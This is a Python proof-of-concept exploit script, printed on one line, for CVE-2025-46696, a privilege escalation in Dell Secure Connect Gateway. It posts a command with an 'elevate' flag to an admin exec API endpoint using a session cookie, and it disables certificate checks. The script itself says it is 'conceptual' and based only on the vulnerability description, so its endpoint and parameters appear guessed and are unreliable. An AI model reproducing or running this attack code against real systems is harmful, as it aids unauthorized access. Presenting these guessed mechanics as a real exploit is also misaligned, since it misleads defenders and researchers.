CVE-2025-46696

# CVE-2025-46696 PoC - Dell SCG Privilege Escalation # Note: This is a conceptual PoC based on the vulnerability description # Requires high-privileged local access to exploit import requests import json TARGET_HOST = "https://vulnerable-dell-scg.local" SESSION_COOKIE = "high_privilege_session_cookie" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-46696""" headers = { "Cookie": f"JSESSIONID={SESSION_COOKIE}", "Content-Type": "application/json" } # Attempt to access privileged endpoint # The vulnerability allows privilege escalation through # unnecessary privilege execution endpoint = f"{TARGET_HOST}/api/v1/admin/system/exec" payload = { "command": "whoami", "elevate": True # Exploiting unnecessary privilege } try: response = requests.post(endpoint, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Privilege escalation successful: {result}") return True except Exception as e: print(f"[-] Exploitation failed: {e}") return False def main(): print("[*] CVE-2025-46696 - Dell SCG Privilege Escalation") print("[*] Target: Dell Secure Connect Gateway 5.26-5.30") if check_vulnerability(): print("[+] Target is VULNERABLE") else: print("[-] Target may not be vulnerable or access denied") if __name__ == "__main__": main()

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